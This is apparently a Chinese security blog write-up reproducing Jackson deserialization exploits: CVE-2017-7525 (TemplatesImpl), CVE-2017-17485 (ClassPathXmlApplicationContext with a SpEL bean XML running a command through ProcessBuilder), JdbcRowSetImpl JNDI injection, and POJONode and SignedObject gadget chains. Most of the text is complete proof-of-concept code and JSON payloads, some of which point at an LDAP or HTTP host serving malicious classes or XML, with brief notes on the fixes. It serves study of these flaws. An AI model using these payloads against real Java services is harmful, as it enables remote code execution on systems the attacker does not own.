jackson 反序列化合集

想不到2017的链子我还在复现

反序列化条件

达到以下任意一个条件,可以反序列化指定类:

  • 开启了enableDefaultTyping()四个的任意一个设置,不过不同设置能反序列化的范围不同,trick也不同(不过范围最小的JAVA_LANG_OBJECT都够用)
  • 使用了@JsonTypeInfo注解字段,注解值为JsonTypeInfo.Id.CLASS或者JsonTypeInfo. Id. MINIMAL_CLASS

反序列化json格式

当然,你也能观察到不同的指定方式,json的格式不同。比如enableDefaultTyping()设置后序列化出来的字符串,并没有@符号,而是用[]包裹了

  • enableDefaultTyping对应json格式:
1
2
// 设置JAVA_LANG_OBJECT  
{"age":6,"name":"mi1k7ea","object":["com.mi1k7ea.Hacker",{"skill":"Jackson"}]}

[]夹住的第一个字符串是类名,后面如果直接加字符串,是调用构造构造函数(不加是调无参构造函数),加{}是调用setter赋值

  • @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
1
{"age":6,"name":"drunkbaby","object":{"@class":"com.drunkbaby.Hacker","skill":"hiphop"}}
  • @JsonTypeInfo(use = JsonTypeInfo. Id. MINIMAL_CLASS)
1
{"age":6,"name":"drunkbaby","object":{"@c":"com.drunkbaby.Hacker","skill":"hiphop"}}

反序列化入口

反序列化的入口为以下两个的一种:

  • JsonFactory.createParser
  • objectMapper.readValue

jackson漏洞版本可以触发任意函数的构造函数和setter,以此衍生出攻击面

JdbcRowSetImpl肯定能用

JdbcRowSetImpl

Id_Class版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class JdbcRowSetImpl {
public static class Id_Class_Test {
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
public Object object;
}
public static void main(String[] args) throws IOException {
String jsonInput = aposToQuotes("{\"object\":{'@class':'com.sun.rowset.JdbcRowSetImpl',\n" +
"'dataSourceName':'ldap://192.168.80.1:8085/Evil',\n" +
"'autoCommit':0,\n" +
"}\n" +
"}");
System.out.printf(jsonInput);
ObjectMapper mapper = new ObjectMapper();
try {
JdbcRowSetImpl.Id_Class_Test test = mapper.readValue(jsonInput, JdbcRowSetImpl.Id_Class_Test.class);
} catch (Exception e) {
e.printStackTrace();
}
}
public static String aposToQuotes(String json){
return json.replace("'","\"");
}
}

enableDefaultTyping版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class JdbcRowSetImpl {
public static class enableDefaultTyping_Test {
public Object object;
}
public static void main(String[] args) throws IOException {
String jsonInput = aposToQuotes("{\"object\":['com.sun.rowset.JdbcRowSetImpl',\n" +
"{\n" +
"'dataSourceName':'ldap://192.168.80.1:8085/Evil',\n" +
"'autoCommit':0,\n" +
"}\n" +
"]\n" +
"}");
System.out.printf(jsonInput);
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
try {
JdbcRowSetImpl.enableDefaultTyping_Test test = mapper.readValue(jsonInput, JdbcRowSetImpl.enableDefaultTyping_Test.class);
} catch (Exception e) {
e.printStackTrace();
}
}
public static String aposToQuotes(String json){
return json.replace("'","\"");
}
}

CVE-2017-7525 TemplatesImpl链

和fastjson不同的是,fastjson是直接指定传入的类,而jackson,是指定Object字段为恶意类

影响版本

Jackson 2.6系列 < 2.6.7.1

Jackson 2.7系列 < 2.7.9.1

Jackson 2.8系列 < 2.8.8.1

jdk<=7u21||8u20

pom.xml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.7.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.7.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.7.3</version>

enableDefaultTyping POC

Test类:

1
2
3
public class Test {
public Object object;
}

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class jackson_TemplatesImpl {
public static void main(String[] args) throws IOException {
String exp = readClassStr("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\TemplatesImpl_RuntimeEvil.class");
String jsonInput = aposToQuotes("{\"object\":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +
"{\n" +
"'transletBytecodes':['"+exp+"'],\n" +
"'transletName':'test',\n" +
"'outputProperties':{}\n" +
"}\n" +
"]\n" +
"}");
System.out.printf(jsonInput);
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
Test test;
try {
test = mapper.readValue(jsonInput, Test.class);
} catch (Exception e) {
e.printStackTrace();
}
}

public static String aposToQuotes(String json){
return json.replace("'","\"");
}

public static String readClassStr(String cls) throws IOException {
byte[] code1 = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\TemplatesImpl_RuntimeEvil.class"));
return Base64.encode(code1);
}
}

怎么调用的getter?为什么我的case调用不了?妈的,分析了两天,不知道哪种情况会调用到FieldProperty.deserializeAndSet ,哪种情况会调用到setterlessProperty.deserializeAndSet。不管了,反正是抄poc。他妈我写的case也没有setter,就是要跑到FieldProperty.deserializeAndSet内反射赋值

不管了,见版本直接打

如果有知道原因的,QQ+1958304602 解答V9.9喝蜜雪冰城

其他的就是调setter赋值了,注意jackson能调用私有的setter

有没有注意到我们并没有设置一般都会设置的_tfactory

在CC中我们不设置,是因为readObject帮我们设置了

在JDK低版本用不到_tfactory,所以不设置也没问题

在JDK>7U21||>8u20的情况下,不设置_tfactorydefineTransletClasses会报错

区别如下:

左为JDK8U65,右为JDK7U21

JsonTypeInfo.Id.CLASS POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package org.exploit.third.jackson;

import com.fasterxml.jackson.annotation.JsonTypeInfo;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.unboundid.util.Base64;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Id_MINIMAL_Class_TemplatesImpl {
public static class Id_Class_Test {
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
public Object object;
}
public static void main(String[] args) throws IOException {
String exp = readClassStr("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\TemplatesImpl_RuntimeEvil.class");
String jsonInput = aposToQuotes("{\"object\":{'@c':'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +
"'transletBytecodes':['"+exp+"'],\n" +
"'transletName':'test',\n" +
"'outputProperties':{}\n" +
"}\n" +
"}");
System.out.printf(jsonInput);
ObjectMapper mapper = new ObjectMapper();
try {
Id_Class_Test test = mapper.readValue(jsonInput, Id_Class_Test.class);
} catch (Exception e) {
e.printStackTrace();
}
}

public static String aposToQuotes(String json){
return json.replace("'","\"");
}

public static String readClassStr(String cls) throws IOException {
byte[] code1 = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\TemplatesImpl_RuntimeEvil.class"));
return Base64.encode(code1);
}
}

JsonTypeInfo.Id.MIMIMAL_CLASS POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package org.exploit.third.jackson;

import com.fasterxml.jackson.annotation.JsonTypeInfo;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.unboundid.util.Base64;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Id_MINIMAL_Class_TemplatesImpl {
public static class Id_Class_Test {
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
public Object object;
}
public static void main(String[] args) throws IOException {
String exp = readClassStr("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\TemplatesImpl_RuntimeEvil.class");
String jsonInput = aposToQuotes("{\"object\":{'@c':'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +
"'transletBytecodes':['"+exp+"'],\n" +
"'transletName':'test',\n" +
"'outputProperties':{}\n" +
"}\n" +
"}");
System.out.printf(jsonInput);
ObjectMapper mapper = new ObjectMapper();
try {
Id_Class_Test test = mapper.readValue(jsonInput, Id_Class_Test.class);
} catch (Exception e) {
e.printStackTrace();
}
}

public static String aposToQuotes(String json){
return json.replace("'","\"");
}

public static String readClassStr(String cls) throws IOException {
byte[] code1 = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\TemplatesImpl_RuntimeEvil.class"));
return Base64.encode(code1);
}
}

fastjson跑不了这个链,因为fastjson对于getOutputProperties这种getter是不会调用的,返回值不满足要求

修复

pom.xml修改jackson-databind版本至2.7.9.1

1
2
3
4
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.7.9.1</version>

再次运行报Illegal type to deserialize: prevented for security reasons错误

加了checkIllegalTypes黑名单验证

包括以下类,TemplatesImpl被过滤

CVE-2017-17485 ClassPathXmlApplicationContext链

Jackson 2.7系列 < 2.7.9.2

Jackson 2.8系列 < 2.8.11

Jackson 2.9系列 < 2.9.4

jdk无版本限制

此漏洞为jackson打spring,需要点上spring的依赖:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>5.3.28</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-expression</artifactId>
<version>5.3.28</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>5.3.28</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.3.28</version>
</dependency>

spEL表达式注入:

https://godownio.github.io/2024/10/14/spel-biao-da-shi-zhu-ru/

默认singleton模式下,ClassPathXmlApplicationContext加载xml资源,并完成实例化和调用setter传参。这个xml资源可以是http路径。(无需getBean就能触发整个创建Bean的流程

1
2
3
public static void main(String[] args) {
ApplicationContext applicationContext=new ClassPathXmlApplicationContext("http://127.0.0.1:8888/spel.xml");
}

spel.xml内的bean需要先创建实例,再执行spEL表达式,所以得找一个能new,然后执行命令的方式,Runtime new不了

ProcesserBuilder就很合适:

1
2
ProcessBuilder pb = new ProcessBuilder("command","param...");
Process pro2 = pb.start();

弹计算器:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg name="command" value="calc"/>
<property name="whatever" value="#{pb.start()}"/>
</bean>
</beans>

jackson能调用有参构造函数,enableDefaultTyping POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
public class PoC {  
public static void main(String[] args) {
//CVE-2017-17485
String payload = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", \"http://127.0.0.1:8888/spel.xml\"]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
try {
mapper.readValue(payload, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}

修复

https://github.com/FasterXML/jackson-databind/commit/2235894210c75f624a3d0cd60bfb0434a20a18bf

换成 jackson-databind-2.7.9.2版本的 jar 试试,会报错,显示由于安全原因禁止了该非法类的反序列化操作:

黑名单位于:

1
com.fasterxml.jackson.databind.jsontype.impl.SubTypeValidator

并没有看到黑名单类里面有我们利用的这个类

再往下看,这里会把所有 org.springframe 开头的类名做处理

先进行黑名单过滤,发现类名不在黑名单后再判断是否是以 org.springframe 开头的类名,是的话循环遍历目标类的父类是否为 AbstractPointcutAdvisoAbstractApplicationContext,是的话跳出循环然后抛出异常:

而我们的利用类其继承关系是这样的:

1
2
3
4
5
…->AbstractApplicationContext->
AbstractRefreshableApplicationContext->
AbstractRefreshableConfigApplicationContext->
AbstractXmlApplicationContext->
ClassPathXmlApplicationContext

可以看到,ClassPathXmlApplicationContext 类是继承自 AbstractApplicationContext 类的,而该类会被过滤掉,从而没办法成功绕过利用。

打依赖包通杀

此处通杀指打依赖包,不是readValue作为入口

jackson-databind>=2.13.3

jackson-databind core annotations三包版本需匹配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.13.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.13.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.13.3</version>
</dependency>

POJONode链

入口点位于com.fasterxml.jackson.databind.node下POJONode.toString

实际上调用的是父类BaseJsonNode.toString

nodeToString调用到writeValueAsString,会触发getter

但是在序列化过程中,ObjectOutputStream.writeObject0会判断类是否重写了writeReplace方法

BaseJsonNode重写了writeReplace方法

在调用这个方法时发生了异常,把这个方法删了可以顺利序列化

序列化当然不会影响反序列化的进程,直接重写

利用链:

1
2
3
4
BadAttributeValueExpException.readObject ->
POJONode.toString ->
InternalNodeMapper,nodeToString ->
JSONMapper.writeValueAsString -> getter

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public class POJONode_TemplatesImpl {
public static void main(String[] args) throws Exception {
byte[] code1 = Files.readAllBytes(Paths.get("target/classes/TemplatesImpl_RuntimeEvil.class"));
TemplatesImpl templatesClass = new TemplatesImpl();
Field[] fields = templatesClass.getClass().getDeclaredFields();
for (Field field : fields) {
field.setAccessible(true);
if (field.getName().equals("_bytecodes")) {
field.set(templatesClass, new byte[][]{code1});
} else if (field.getName().equals("_name")) {
field.set(templatesClass, "godown");
} else if (field.getName().equals("_tfactory")) {
field.set(templatesClass, new TransformerFactoryImpl());
}
}
POJONode pojoNode = new POJONode(templatesClass);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, pojoNode);
serialize(badAttributeValueExpException);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception
{
java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin");
java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException
{
java.io.FileInputStream fis = new java.io.FileInputStream(Filename);
java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis);
Object obj = ois.readObject();
ois.close();
return obj;
}
}

SignedObject链

打二次反序列化,用于绕过自定义了POJONode对入口类的筛查,循环嵌套过滤的不能绕过

SignedObject.getObject能反序列化this.content:

content能在构造函数赋值

SignedObject装配恶意类,然后找能触发getter的地方

利用链:

1
2
3
4
5
6
7
8
9
10
BadAttributeValueExpException.readObject ->
POJONode.toString ->
InternalNodeMapper,nodeToString ->
JSONMapper.writeValueAsString ->
SignedObject.getObject ->
BadAttributeValueExpException.readObject ->
POJONode.toString ->
InternalNodeMapper,nodeToString ->
JSONMapper.writeValueAsString ->
TemplatesImpl.getOutputProperties

参考链接:

https://xz.aliyun.com/t/12966?time__1311=GqGxuD9QLxlr%3DiQGkDRQDcWLmxY5q4Qox#toc-26

上一篇:
Groovy漏洞
下一篇:
spEL表达式注入